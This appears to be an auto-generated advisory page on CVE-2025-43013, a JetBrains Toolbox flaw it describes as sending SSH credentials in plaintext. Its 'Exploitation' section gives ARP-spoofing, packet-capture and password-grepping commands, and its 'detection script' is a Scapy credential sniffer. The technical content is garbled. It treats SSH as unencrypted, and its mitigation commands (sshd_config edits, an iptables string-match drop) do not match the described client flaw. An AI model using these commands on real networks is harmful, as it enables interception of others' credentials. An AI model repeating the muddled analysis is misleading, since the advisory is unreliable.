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How CVE-2025-43013 Works
The vulnerability in JetBrains Toolbox App before version 2.6 allows unencrypted transmission of SSH credentials during authentication. Attackers intercepting network traffic can capture plaintext credentials due to missing encryption. This flaw exposes sensitive authentication data, enabling unauthorized access to repositories or systems linked via SSH. The lack of TLS/SSL enforcement in credential exchange makes it trivial for man-in-the-middle (MITM) attackers to exploit this weakness.
DailyCVE Form
Platform: JetBrains Toolbox
Version: < 2.6
Vulnerability: Unencrypted SSH transmission
Severity: Critical
Date: 04/23/2025
What Undercode Say:
Exploitation:
- Sniffing Attack: Use tools like Wireshark or tcpdump to capture unencrypted SSH credentials:
sudo tcpdump -i eth0 -w jetbrains_creds.pcap
2. MITM Setup: Redirect traffic via ARP spoofing:
arpspoof -i eth0 -t <target_ip> <gateway_ip>
3. Credential Extraction: Analyze captured packets:
strings jetbrains_creds.pcap | grep -i "password"
Protection:
1. Upgrade: Install JetBrains Toolbox 2.6+.
- Force Encryption: Configure SSH to reject plaintext auth:
echo "PasswordAuthentication no" >> /etc/ssh/sshd_config
3. Network Monitoring: Detect MITM attempts:
sudo arpwatch -i eth0
Analytics:
- CVSS 4.0: 9.3 (Critical)
- Attack Vector: Network
- Patch Link: JetBrains Update
Detection Script (Python):
import scapy.all as scapy
def sniff_creds(pkt):
if pkt.haslayer(scapy.Raw):
load = pkt[scapy.Raw].load
if b"ssh" in load.lower() and b"password" in load.lower():
print(f"[!] Plaintext creds: {load}")
scapy.sniff(prn=sniff_creds, store=0)
Mitigation Commands:
- Block unencrypted SSH traffic via iptables:
sudo iptables -A INPUT -p tcp --dport 22 -m string --string "PasswordAuthentication" --algo bm -j DROP
- Verify encryption with:
nmap --script ssh2-enum-algos <target_ip>
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
